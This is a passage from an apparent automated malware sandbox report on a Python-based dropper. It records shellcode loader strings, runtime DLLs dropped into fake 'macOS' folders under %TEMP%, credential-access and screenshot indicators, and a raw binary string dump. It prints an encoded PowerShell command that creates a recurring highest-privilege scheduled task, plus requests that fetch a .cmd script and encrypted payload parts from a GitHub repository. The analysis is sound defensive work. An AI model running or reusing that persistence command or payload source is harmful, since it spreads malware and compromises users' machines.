"00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "execute_shellcode_in_current_process" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "read_and_decrypt_shellcode" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp, 00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "f"{shellcode_size} bytes loaded"" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "f"[ERROR] execute_shellcode: {e}"" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "[ERROR] execute_shellcode:" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API ""Decrypted shellcode"" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "shellcode" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "shellcode_size" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "shellcode_func" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "Decrypted shellcode" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API ""Executing shellcode..."" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp") Found reference to API "Executing shellcode..." (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp")5f:T10fa,"python311.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 6 sections"- Location: [%TEMP%\Drivers\macOS\python311.dll]- [targetUID: 00000000-00004796] "libcrypto-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\libcrypto-3.dll]- [targetUID: 00000000-00004796] "sqlite3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\sqlite3.dll]- [targetUID: 00000000-00004796] "libssl-3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 7 sections"- Location: [%TEMP%\SystemDrivers\macOSx\libssl-3.dll]- [targetUID: 00000000-00004796] "python.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\python.exe]- [targetUID: 00000000-00004796] "py.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\py.exe]- [targetUID: 00000000-00004796] "vcruntime140.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\vcruntime140.dll]- [targetUID: 00000000-00004796] "python3.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 2 sections"- Location: [%TEMP%\Drivers\macOS\python3.dll]- [targetUID: 00000000-00004796] "libffi-8.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\Drivers\macOS\libffi-8.dll]- [targetUID: 00000000-00004796] "unicodedata.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\unicodedata.pyd]- [targetUID: 00000000-00004796] "_decimal.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_decimal.pyd]- [targetUID: 00000000-00004796] "pyexpat.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\macOS\pyexpat.pyd]- [targetUID: 00000000-00004796] "_ssl.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_ssl.pyd]- [targetUID: 00000000-00004796] "_lzma.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_lzma.pyd]- [targetUID: 00000000-00004796] "_elementtree.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_elementtree.pyd]- [targetUID: 00000000-00004796] "_ctypes.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_ctypes.pyd]- [targetUID: 00000000-00004796] "_sqlite3.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_sqlite3.pyd]- [targetUID: 00000000-00004796] "_bz2.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_bz2.pyd]- [targetUID: 00000000-00004796] "_socket.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_socket.pyd]- [targetUID: 00000000-00004796] "_asyncio.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_asyncio.pyd]- [targetUID: 00000000-00004796] "_hashlib.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\SystemDrivers\macOSx\_hashlib.pyd]- [targetUID: 00000000-00004796] "_overlapped.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_overlapped.pyd]- [targetUID: 00000000-00004796] "_zoneinfo.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_zoneinfo.pyd]- [targetUID: 00000000-00004796] "_msi.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_msi.pyd]- [targetUID: 00000000-00004796] "_multiprocessing.pyd" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%TEMP%\Drivers\macOS\_multiprocessing.pyd]- [targetUID: 00000000-00004796]60:T69a,Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792, Additional Context: "Register-ScheduledTask -TaskName 'drivers.exe' -Action (New-ScheduledTaskAction -Execute 'C:\Users\HAPUBWS\AppData\Roaming\drivers.exe') -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)) -User $env:UserName -RunLevel Highest -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -Force")61:T3b3a,"!This program cannot be run in DOS mode.Rich).text`.rdata@.data.rsrc@.reloct>VWSRQSPSVWjuEWh8_^[]tYVP;F ~'t7S;^ ~_[^]_[^]SPhd_[^]_[^]_[^]te[_[_^]_[^]tV9~sWPh_[^]_[^]_[^]_[^]_[^]_[^]_[^]_[^]SPh|_[^]SPh|_[^]F09X4tR_^F09X8tR_^_[^]_[^]uf9Ex^[]8SVWFVh y_^3SVWRVWt.3_^[]_^[][_^]A$+A(A$+A(;~ tD~ _3x\VhxJ_[3tAWh<_^[]_^[]QSW3tTV3uesp5emosmodn5arodaren5egyl5bdetsety9F4w_^[]N,_^[]QSVWt5W3xSVW_[u V$9V_^[]_^[]_^[]_^[]u&QW_^[]T$ WD$(;+C@PC@RPG\;GXuH\t-L$8PD$$PQD$0PT$89D$G(HPD$(P\$0+T$8rG,PRD$4PD$HPD$$9D$4;GD$ PD$ PD$8_^[D$-u'>>tP>tu_^[]_^[]_^[]_^[]}1_^0_^3[_^][_^][_^][_^][_^]>]u![_^][_^]A[_^A[_^[_^][_^]A[_^ACACub;}tW;N>u >>t;QSVW_^[]_^[]_^[]>]u=QSVW}T_^[_^][_^][_^][_^][_^]>]u'[_^][_^][_^][_^]> u4VW8P8xuO)Return a new XML parser object.SetReparseDeferralEnabled($self, enabled, /)Enable/Disable reparse deferral; enabled by default with Expat >=2.6.0.UseForeignDTD($self, flag=True, /)Allows the application to provide an artificial external subset if one is not specified as part of the document instance.This readily allows the use of a 'default' document type controlled by theapplication, while still getting the advantage of providing document typeinformation to the parser. 'flag' defaults to True if not provided.ExternalEntityParserCreate($self, context, encoding=, /)Create a parser for parsing an external entity based on the information passed to the ExternalEntityRefHandler.GetBase($self, /)Return base URL string for the parser.ErrorString($module, code, /)Returns string error for given number.Python wrapper for Expat parser.XML parserGetReparseDeferralEnabled($self, /)Retrieve reparse deferral enabled status; always returns false with Expat <2.6.0.SetParamEntityParsing($self, flag, /)Controls parsing of parameter entities (including the external DTD subset).Possible flag values are XML_PARAM_ENTITY_PARSING_NEVER,XML_PARAM_ENTITY_PARSING_UNLESS_STANDALONE andXML_PARAM_ENTITY_PARSING_ALWAYS. Returns true if setting the flagwas successful.NMTOKENSk"F/ca./r/Q'q\s3jvNMTOKENIDREFIDREFSxml=http://www.w3.org/XML/1998/namespaceCDATANOTATION(http://www.w3.org/2000/xmlns/ENTITYENTITIEShttp://www.w3.org/XML/1998/namespaceNMTOKENEMPTYNDATANOTATIONENTITYPUBLICIDREFSPCDATASYSTEMREQUIREDNMTOKENSDOCTYPEELEMENTCDATAIMPLIEDINCLUDEATTLISTENTITIESIDREFIGNOREFIXEDCDATA[ !"# !"# !"# !"#UTF-8 !"#version !"# !"# !"#$% !"#UTF-16UTF-16LE !"# !"# !"#UTF-16BE !"#US-ASCIICDATA[encodingstandaloneCDATA[ISO-8859-1 !"# !"#EXPAT_ENTROPY_DEBUGexpat: Entropy: %s --> 0x%0*lx (%lu bytes)rand_sfallback(4)EXPAT_ACCOUNTING_DEBUGEXPAT_ENTITY_DEBUGexpat_2.6.0sizeof(XML_Char)sizeof(XML_LChar)XML_DTDXML_CONTEXT_BYTESXML_NSXML_BLAP_MAX_AMPXML_BLAP_ACT_THRESXML_GEexpat: Accounting(%p): Direct %10I64u, indirect %10I64u, amplification %8.2f%s ABORTING (+%6d bytes %s|%d, xmlparse.c:%d) %*s"[..]expat: Entities(%p): Count %9d, depth %2d/%2d %*s%s%s; %s length %d (xmlparse.c:%d)OPEN CLOSE\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFFRSDSMD:\a\1\b\bin\win32\pyexpat.pdbGCTL.text$mn.idata$5.00cfg.CRT$XCA.CRT$XCZ.CRT$XIA.CRT$XIZ.CRT$XPA.CRT$XPZ.CRT$XTA.CRT$XTZ.rdata.rdata$sxdata.rdata$voltmd.rdata$zzzdbg.rtc$IAA.rtc$IZZ.rtc$TAA.rtc$TZZ.xdata$x.edata.idata$2.idata$3.idata$4.idata$6.data.bss.rsrc$01.rsrc$02pyexpat.pydPyInit_pyexpatGetCurrentProcessIdGetSystemTimeAsFileTimeKERNEL32.dllPyUnicode_InternFromStringPyErr_SetObjectPyDict_SetDefaultPyBool_FromLongPyObject_CallOneArgPyObject_MallocPyModule_AddIntConstantPyErr_OccurredPyUnicode_DecodeUTF8PyUnicode_AsUTF8AndSizePyExc_RuntimeErrorPyObject_SetAttrStringPyLong_FromLongPyObject_GC_UnTrackPy_BuildValuePyDict_GetItemWithError_PyObject_LookupAttr_Py_NoneStructPyTuple_NewPyDict_SetItemString_Py_HashSecret_PyArg_BadArgumentPyErr_SetStringPyObject_CallFunction_PyArg_UnpackKeywordsPyExc_ValueErrorPyErr_FormatPyModule_AddStringConstantPyType_IsSubtype_Py_DeallocPyObject_FreePyDescr_NewGetSetPyModule_AddObjectRef_PyImport_SetModulePyModule_AddObjectPyObject_GC_DelPyLong_AsLongPyUnicode_FromFormatPyObject_GetBufferPyList_NewPyErr_NewExceptionPyModule_NewPyList_AppendPyUnicode_DecodePyType_GetModuleStatePyCapsule_NewPyDict_SetItemPyDict_New_PyTraceback_AddPyMem_FreePyErr_NoMemoryPyObject_ReallocPyModuleDef_InitPyObject_GC_TrackPyBytes_FromStringAndSizePyExc_TypeErrorPyType_FromModuleAndSpecPyObject_IsTrue_PyByteArray_empty_string_PyUnicode_ReadyPyMem_Malloc_PyLong_AsIntPyModule_GetState_PyObject_GC_NewPyUnicode_FromStringPyBuffer_ReleasePyObject_CallPyByteArray_Typepython311.dllstrrchr__std_type_info_destroy_listmemset_except_handler4_commonVCRUNTIME140.dll__acrt_iob_funcreallocstrtoul__stdio_common_vfprintf_errnorand_sfreegetenvmalloc_initterm_initterm_e_seh_filter_dll_configure_narrow_argv_initialize_narrow_environment_initialize_onexit_table_execute_onexit_table_cexitapi-ms-win-crt-stdio-l1-1-0.dllapi-ms-win-crt-heap-l1-1-0.dllapi-ms-win-crt-convert-l1-1-0.dllapi-ms-win-crt-runtime-l1-1-0.dllapi-ms-win-crt-utility-l1-1-0.dllapi-ms-win-crt-environment-l1-1-0.dllUnhandledExceptionFilterSetUnhandledExceptionFilterGetCurrentProcessTerminateProcessIsProcessorFeaturePresentQueryPerformanceCounterGetCurrentThreadIdDisableThreadLibraryCallsInitializeSListHeadIsDebuggerPresentmemcpymemmove true 070]0071B1292@23P3U3]3o34)494n4}44/5g56$6O6T6\66S7X7`7~78/8i8y8:.:I:X:{:<)<2<<T>h>?%?K?0+080d0141>12,262v23#3@3J34#4E4]4z4565O5l5v56,6Z68%8B8L8979A9:(:E:O::;";?;I;<$<.F>|>>&?b?k?u?&0b0k0u00)1V1\1~12p2u2{2364l4r46F6<78C8O8s8~8849=9t9y9:5:G:; ;);J;Q;<"_>q>x>0C0R0k0}0121E1u1444D45#5,51595h5r56K6k6p6x67.7C7W7]78<8G8[8s8949=9c9s9:#:(:0:B:I:;.;4;<;C;<3!>%>+>/>5>9>?>C>I>M>S>W>]>a>g>k>q>u>{>?j?p?A0G0_03H4L4P4T4X4\4`4)5i566+66#:?:`:j:7B;G;N;U;\;c;j;q;x;< <'<.<5<<>&?`?> >$>:>9P;T;<;<0=7=>x?|?0p1t1x1|1292E2*44O5t56_6t6f7:3;Y>2(242@2= >4><>W>5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|55 6x6;!;*;2;M;U;&0+020;0V0^0204B4N4e4m45d6x67$9(9,9094989<9@9D9P0`0e0o0v0191S1122V2[2a2g2m2s2y23!3'3-33393?3E3K3Q3W3]3c3i3o3u3{34#4)4/454;4A4G4M4S4Y4_4e4k4q4w4}45%5+51575=5C5I5O5U5[5a5g5m5s5y56!6'6-63696?6E6K6Q6W6]6c6i6o6u6{67#7)7/757;7A7G7M7S7Y7_7e7k7q7w7}78%8+81878=8C8I8O8U8\8`8d8h8l8p8t8x8|89 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;< <$<(<,<0<4<8<<<@*>;>^>h>l>p>t>x>|>?\?j?0>0H0L0P0T0X00>1I1Y12 2>2P2n23 3[33\4j4z4545C5^56%6Y6u6617F7d7s78G8U8969S9a9|997:E:;1;8;G;L;e;<2*>:>w>?(?g?u?040J0e01'181I1Z1}12&2H2T2X2\2`2d23!3A3H3e3u3424O4l4465T5`5{56%6i6w6|6667V7{79`:d:h:l:p:t:E;L;,<3<>@>D>H>L>l>p>t>x>|>0!1(13H3L3P3T3X3\3|37w7~7h8o8<4<8<<<@=l=s=0T1[1x2|23 3$3(3,3034383<3@3D3H3d3h34L5P5T5X5\5`5d5h5l58 8$8(8,8e8l8;%;d;\", \"2.5.29.10\", \"2.5.29.19\", \"2.5.29.14\", \"2.5.29.15\", \"4.0.0.0\", \"192.168.0.1\", \"255.255.255.255\", \"2.5.29.31\", Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\", \"2.5.29.32\", Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\", \"2.5.29.17\", \"2.5.4.3\", \"2.5.29.1\", \"2.5.29.16\", Potential IP \"4.0.0.0\" found in string \"ersion=4.0.0.0\n Cult\", Potential IP \"4.0.0.0\" found in string \"=4.0.0.0\", \"1.0.0.0\", \"17.0.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$53","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$54","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET /tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /tiiisiet65-sudo/LoioioNoaisK/main/Download-macOSx.cmd HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: raw.githubusercontent.com\nConnection: Keep-Alive\n\n GET /tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1 HTTP/1.1\nHost: raw.githubusercontent.com\nConnection: Keep-Alive\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"raw.githubusercontent.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: fc54e0d16d9764783542f0146a98b300","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://raw.githubusercontent.com/tiiisiet65-sudo/LoioioNoaisK/main/Download-macOSx.cmd\n Found HTTPS GET request to https://raw.githubusercontent.com/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"raw.githubusercontent.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"185.199.108.133\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"libcrypto-3.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005792\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE4B52E2AFB3DD0EB33529EE677921]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEABD6355BC7F9712499F1B530E199]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEABD6355BC7F9712499F1B530E199]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001352.00000001.177223.21720000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001352.00000001.177223.21720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"11864823508,6072,3180,,CreateCompatibleBitmap,Gdi32.dll,\"00:45:53.531\",RX=0,PX=0\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00001352.00000000.176224.1FC80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"45328293451,6072,3024,,RtlGetVersion,NTDLL.dll,\"00:46:07.468\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001352.00000001.177223.21720000.00000004.mdmp\")\n Found reference to API \"11483496626,3476,3024,,RtlGetVersion,NTDLL.dll,\"00:46:15.437\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002592.00000000.177629.05870000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001352.00000000.176224.051F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"$55","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"AcroRd32.exe\" loaded module \"%WINDIR%\\SysWOW64\\samcli.dll\" at 71B30000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$56","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a10955ec009001cf70759e7"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"sys_installer_27525.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"python.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"py.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": 